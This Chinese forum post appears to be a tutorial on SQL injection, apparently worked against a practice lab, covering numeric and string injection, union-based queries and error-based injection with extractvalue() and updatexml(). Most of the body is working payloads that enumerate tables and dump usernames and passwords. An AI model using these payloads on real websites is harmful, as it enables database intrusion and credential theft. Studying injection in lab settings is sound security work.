4--SQL注入

打印 上一主题 下一主题

主题 885|帖子 885|积分 2655



SQL注入

SQL注入(SQL Injection)是一种常见的Web安全毛病,形成的主要原因是web应用步伐在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句。
SQL注入毛病对于数据安全的影响



  • 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
  • 网页篡改:通过操作数据库对特定网页进行篡改。
  • 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
  • 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被篡改。
  • 服务器被远程控制,被安装后门:经过数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
  • 粉碎硬盘数据,瘫痪全系统。
SQL注入原因

1、分别输入?id=1和?id=2,如果显示的页面不同,阐明它将输入的数据代入到了数据中进行查询,页面根据输入数据的不同展示的内容也不同。
2、 输入?id=1',页面显示有语法错误,阐明 '1'' limit 0,1有语法错误,输入的数据 1' 被完整的带入到了SQL语句中,即直接与原有的sql语句进行了拼接。(输入的那个单引号和前面的单引号产生了闭合,导致原有背面的那个单引号变成了多余,而sql语法中引号是必须成对出现否则就会报错,这也就解释了为什么输入1'后步伐就报错的原因。)
由以上知道,输入什么步伐就拼接什么,那就构造sql语句将左单引号进行闭合就好了。在1背面加上单引号,与左边的引号构成闭合,再接着拼接构造好的SQL语句并注释掉后边的语句 '  1 ' and 1=1 --  ' LIMIT 0,1" 步伐就不会报错,就可以查询想要查询的数据,就是sql注入。
SQL注入范例

数字型注入

php中sql为:$sql = "select * from users where id=$id limit 0,1";
判断方法:使用 1 and 1=1  1 and 1=2 来判断(x可为恣意证整数,1、2、3...)
当输入:?id=1 and 1=1 时,页面显示正常
   select * from users where id =x and 1=1
  输入:?id 1 and 1=2 时,页面显示异常
   select * from users where id =x and 1=2
  阐明是数字型注入
字符型注入

php中sql为:$sql = "select * from users where id='$id' limit 0,1";
判断方法:使用 1' and '1'='1  ,1' and '1'='2 来判断(x可为恣意证整数,1、2、3...)
当输入:?id=1’ and ‘1’='1 时页面显示正常
   select * from users where id ='x' and '1'='1'
  输入:?id=1’ and ‘1’='2 时页面显示异常
   select * from users where id ='x' and '1'='2'
  阐明是字符型注入
联合查询

判断当前表的字段个数(以字符型输入为例)

1.输入?id=1' order by 3 --+,
2.输入?id=1' order by 4 --+,
若1显示正常,且2报错,则阐明此时当前表中只有3列
测试输入回显

上面判断出来了表中有3列,以是union select的时候就写xx,xx,xx三个数据
需让union select前面的参数查不出来而回显背面的语句,以是id=-1'
输入?id=-1' union select 1,2,3 --+ 

在name和password值中回显了输入值,这时就可以在回显2或3的位置放入测试语句
获取当前数据库名字

输入?id=-1' union select 1,2,database() --+

得到当前数据库名“security”
获取当前数据库中的表

套用语句:
  1. ?id=-1' union select 1,2,group_concat(table_name) from
  2. information_schema.tables where table_schema=database() --+
复制代码
输入?id=-1' union select 1,2,group_concat(table_name) from
information_schema.tables where table_schema=database() --+

得到当前数据库中存在4个表“emails,referers,uagents,users”
获取表中的字段

选择表users为例
  1. #方法一:指定表名
  2. ?id=-1' union select 1,2,group_concat(column_name) from
  3. information_schema.columns where table_schema=database() and table_name='users' --+
  4. #方法二:指定当前数据库名
  5. ?id=-1' union select 1,2,group_concat(column_name) from
  6. information_schema.columns where table_schema='security' and table_name='users' --+
复制代码
输入?id=-1' union select 1,2,group_concat(column_name) from 
information_schema.columns where table_schema=database() and table_name='users' --+

得到"users"表中存在3个字段,分别为 "id,username,password"
获取相应字段的所有数据

  1. ?id=-1' union select 1,2,group_concat(id,':',username,':',password) from users --+
复制代码
输入?id=-1' union select 1,2,group_concat(id,':',username,':',password) from users --+

当输入?id=1'报错信息如图时

使用如下代码:
  1. ?id=2')--+
  2. ?id=1') order by 3--+
  3. ?id=-1') union select 1,2,3--+
  4. ?id=-1') union select 1,database(),version()--+
  5. ?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables
  6. where table_schema='security'--+
  7. ?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns
  8. where table_name='users'--+
  9. ?id=-1') union select 1,2,group_concat(username ,id , password) from users--+
复制代码
报错注入

数据库的错误信息会回显在网页时,可用报错注入,如果联合查询不能使用,首选报错注入。
报错注入使用的是数据库的报错信息得到数据库的内容,需要构造语句让数据库报错。
1、group by

  1. ?id=1' and (select 1 from (select count(*),concat((select database() from
  2. information_schema.tables limit 0,1),floor(rand()*2))x from
  3. information_schema.tables group by x)a) --+
复制代码
输入?id=1' and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+
2、extractvalue() 函数

获取当前数据库名字

  1. ?id=1' and extractvalue(1,concat('^',(select database()),'^')) --+  
复制代码
输入 ?id=1' and extractvalue(1,concat('^',(select database()),'^')) --+  

得到数据库名字security
获取当前数据库中的表

  1. ?id=1' and extractvalue(1,concat('^',(select group_concat(table_name)
  2. from information_schema.tables where table_schema=database()),'^')) --+ 
复制代码
输入?id=1' and extractvalue(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^')) --+

得到当前数据库中存在4个表“emails,referers,uagents,users”
获取表中的字段

选择表users为例
  1. ?id=1' and extractvalue(1,concat('^',(select group_concat(column_name) from 
  2. information_schema.columns where table_schema=database() and table_name='users'),'^')) --+  
复制代码
输入 ?id=1' and extractvalue(1,concat('^',(select group_concat(column_name) from 
information_schema.columns where table_schema=database() and table_name='users'),'^')) --+  

得到"users"表中存在3个字段,分别为 "id,username,password"
获取相应字段的数据

  1. ?id=1' and extractvalue(1,concat('^',(select group_concat(id,':',
  2. username,':',password) from users),'^')) --+  
复制代码
输入 ?id=1' and extractvalue(1,concat('^',(select group_concat(id,':',username,':',password) from users),'^')) --+  

3、updatexml() 函数

获取当前数据库名字

输入?id=1' and updatexml(1,concat('^',(database()),'^'),1) --+

获取当前数据库中的表

输入?id=1' and updatexml(1,concat('^',(select table_name from information_schema.tables where table_schema='security' ),'^'),1) --+

输入?id=1' and updatexml(1,concat('^',(select table_name from information_schema.tables where table_schema='security' limit 0,1),'^'),1) --+

输入?id=1' and updatexml(1,concat('^',(select table_name from information_schema.tables where table_schema='security' limit 1,1),'^'),1) --+

以此类推,可得到四个表名
获取表中的字段

输入?id=1' and updatexml(1,concat('^',(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 0,1 ),'^'),1) --+

输入?id=1' and updatexml(1,concat('^',(select column_name from information_schema.columns where table_name='users' and table_schema='security' limit 1,1 ),'^'),1) --+

获取相应字段的数据

输入?id=1' and updatexml(1,concat('^',(select group_concat(username,"--",password) from users limit 0,1 ),'^'),1) --+



免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

玛卡巴卡的卡巴卡玛

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表